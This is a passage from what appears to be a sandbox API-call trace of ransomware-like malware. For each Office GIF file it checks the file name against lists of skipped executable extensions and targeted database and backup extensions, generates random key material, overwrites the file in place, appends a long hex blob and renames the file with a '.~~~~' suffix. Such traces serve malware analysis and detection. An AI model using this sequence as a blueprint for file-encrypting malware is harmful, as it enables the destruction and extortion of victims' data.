	[0142.476] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.476] CloseHandle (hObject=0x114) returned 1
	[0142.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a92b8
	[0142.476] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif.~~~~")) returned 1
	[0142.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a92b8 | out: hHeap=0x300000) returned 1
	[0142.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.522] GetLastError () returned 0x0
	[0142.522] RtlWakeConditionVariable () returned 0x0
	[0142.522] GetCurrentThreadId () returned 0xaf0
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".scr") returned 0x0
	[0142.522] lstrlenW (lpString=".cmd") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".cmd") returned 0x0
	[0142.522] lstrlenW (lpString=".dll") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dll") returned 0x0
	[0142.522] lstrlenW (lpString=".bat") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".bat") returned 0x0
	[0142.522] lstrlenW (lpString=".cpl") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".cpl") returned 0x0
	[0142.522] lstrlenW (lpString=".sys") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".sys") returned 0x0
	[0142.522] lstrlenW (lpString=".msc") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".msc") returned 0x0
	[0142.522] lstrlenW (lpString=".com") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".com") returned 0x0
	[0142.522] lstrlenW (lpString=".lnk") returned 4
	[0142.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".lnk") returned 0x0
	[0142.523] lstrlenW (lpString=".msp") returned 4
	[0142.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".msp") returned 0x0
	[0142.523] lstrlenW (lpString=".pif") returned 4
	[0142.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".pif") returned 0x0
	[0142.523] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.525] lstrlenW (lpString=".sqb") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".sqb") returned 0x0
	[0142.525] lstrlenW (lpString=".ost") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".ost") returned 0x0
	[0142.525] lstrlenW (lpString=".txt") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".txt") returned 0x0
	[0142.525] lstrlenW (lpString=".mdt") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".mdt") returned 0x0
	[0142.525] lstrlenW (lpString=".BDB") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".BDB") returned 0x0
	[0142.525] lstrlenW (lpString=".eql") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".eql") returned 0x0
	[0142.525] lstrlenW (lpString=".DBF") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DBF") returned 0x0
	[0142.525] lstrlenW (lpString=".EQL") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".EQL") returned 0x0
	[0142.525] lstrlenW (lpString=".FDB") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".FDB") returned 0x0
	[0142.525] lstrlenW (lpString=".EDB") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".EDB") returned 0x0
	[0142.525] lstrlenW (lpString=".DACPAC") returned 7
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.525] lstrlenW (lpString=".VHD") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".VHD") returned 0x0
	[0142.525] lstrlenW (lpString=".DBV") returned 4
	[0142.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DBV") returned 0x0
	[0142.526] lstrlenW (lpString=".dacpac") returned 7
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.526] lstrlenW (lpString=".sdf") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".sdf") returned 0x0
	[0142.526] lstrlenW (lpString=".accdb") returned 6
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".accdb") returned 0x0
	[0142.526] lstrlenW (lpString=".DBX") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DBX") returned 0x0
	[0142.526] lstrlenW (lpString=".MDT") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".MDT") returned 0x0
	[0142.526] lstrlenW (lpString=".SQB") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".SQB") returned 0x0
	[0142.526] lstrlenW (lpString=".vhd") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".vhd") returned 0x0
	[0142.526] lstrlenW (lpString=".bac") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".bac") returned 0x0
	[0142.526] lstrlenW (lpString=".mdf") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".mdf") returned 0x0
	[0142.526] lstrlenW (lpString=".BAK") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".BAK") returned 0x0
	[0142.526] lstrlenW (lpString=".BAC") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".BAC") returned 0x0
	[0142.526] lstrlenW (lpString=".dbs") returned 4
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dbs") returned 0x0
	[0142.526] lstrlenW (lpString=".vhdx") returned 5
	[0142.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.526] lstrlenW (lpString=".NDF") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".NDF") returned 0x0
	[0142.527] lstrlenW (lpString=".dat") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dat") returned 0x0
	[0142.527] lstrlenW (lpString=".DBS") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DBS") returned 0x0
	[0142.527] lstrlenW (lpString=".CKP") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".CKP") returned 0x0
	[0142.527] lstrlenW (lpString=".edb") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".edb") returned 0x0
	[0142.527] lstrlenW (lpString=".PST") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".PST") returned 0x0
	[0142.527] lstrlenW (lpString=".dbf") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dbf") returned 0x0
	[0142.527] lstrlenW (lpString=".SQL") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".SQL") returned 0x0
	[0142.527] lstrlenW (lpString=".pst") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".pst") returned 0x0
	[0142.527] lstrlenW (lpString=".dbv") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dbv") returned 0x0
	[0142.527] lstrlenW (lpString=".SDF") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".SDF") returned 0x0
	[0142.527] lstrlenW (lpString=".dtxs") returned 5
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.527] lstrlenW (lpString=".db3") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".db3") returned 0x0
	[0142.527] lstrlenW (lpString=".OST") returned 4
	[0142.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".OST") returned 0x0
	[0142.528] lstrlenW (lpString=".dbx") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dbx") returned 0x0
	[0142.528] lstrlenW (lpString=".DB3") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DB3") returned 0x0
	[0142.528] lstrlenW (lpString=".DAT") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DAT") returned 0x0
	[0142.528] lstrlenW (lpString=".VHDX") returned 5
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.528] lstrlenW (lpString=".ndf") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".ndf") returned 0x0
	[0142.528] lstrlenW (lpString=".DB") returned 3
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DB") returned 0x0
	[0142.528] lstrlenW (lpString=".sql") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".sql") returned 0x0
	[0142.528] lstrlenW (lpString=".MYD") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".MYD") returned 0x0
	[0142.528] lstrlenW (lpString=".DBT") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DBT") returned 0x0
	[0142.528] lstrlenW (lpString=".ACCDB") returned 6
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.528] lstrlenW (lpString=".fdb") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".fdb") returned 0x0
	[0142.528] lstrlenW (lpString=".bak") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".bak") returned 0x0
	[0142.528] lstrlenW (lpString=".myd") returned 4
	[0142.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".myd") returned 0x0
	[0142.528] lstrlenW (lpString=".DTXS") returned 5
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.529] lstrlenW (lpString=".ckp") returned 4
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".ckp") returned 0x0
	[0142.529] lstrlenW (lpString=".dbt") returned 4
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".dbt") returned 0x0
	[0142.529] lstrlenW (lpString=".db") returned 3
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".db") returned 0x0
	[0142.529] lstrlenW (lpString=".TXT") returned 4
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".TXT") returned 0x0
	[0142.529] lstrlenW (lpString=".MDF") returned 4
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".MDF") returned 0x0
	[0142.529] lstrlenW (lpString=".bdb") returned 4
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".bdb") returned 0x0
	[0142.529] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.529] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.530] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.530] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.531] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26252090520) returned 1
	[0142.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe5d4e50, dwHighDateTime=0x1d60e1e)) 
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa50
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa50 | out: hHeap=0x300000) returned 1
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9750
	[0142.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9750 | out: hHeap=0x300000) returned 1
	[0142.532] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.532] GetLastError () returned 0x0
	[0142.532] GetLastError () returned 0x0
	[0142.532] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.532] GetLastError () returned 0x0
	[0142.532] GetLastError () returned 0x0
	[0142.533] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x2a71, lpOverlapped=0x0) returned 1
	[0142.535] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffd58f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.535] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2a71, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2a71, lpOverlapped=0x0) returned 1
	[0142.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.535] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.535] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.535] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.535] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.536] CloseHandle (hObject=0x114) returned 1
	[0142.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9750
	[0142.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif.~~~~")) returned 1
	[0142.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9750 | out: hHeap=0x300000) returned 1
	[0142.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.538] GetLastError () returned 0x0
	[0142.539] RtlWakeConditionVariable () returned 0x365f70
	[0142.539] GetCurrentThreadId () returned 0xaf0
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".scr") returned 0x0
	[0142.539] lstrlenW (lpString=".cmd") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".cmd") returned 0x0
	[0142.539] lstrlenW (lpString=".dll") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".dll") returned 0x0
	[0142.539] lstrlenW (lpString=".bat") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".bat") returned 0x0
	[0142.539] lstrlenW (lpString=".cpl") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".cpl") returned 0x0
	[0142.539] lstrlenW (lpString=".sys") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".sys") returned 0x0
	[0142.539] lstrlenW (lpString=".msc") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".msc") returned 0x0
	[0142.539] lstrlenW (lpString=".com") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".com") returned 0x0
	[0142.539] lstrlenW (lpString=".lnk") returned 4
	[0142.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".lnk") returned 0x0
	[0142.539] lstrlenW (lpString=".msp") returned 4
	[0142.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".msp") returned 0x0
	[0142.540] lstrlenW (lpString=".pif") returned 4
	[0142.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch=".pif") returned 0x0
	[0142.540] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF", lpSrch="msp\r\n.pif") returned 0x0
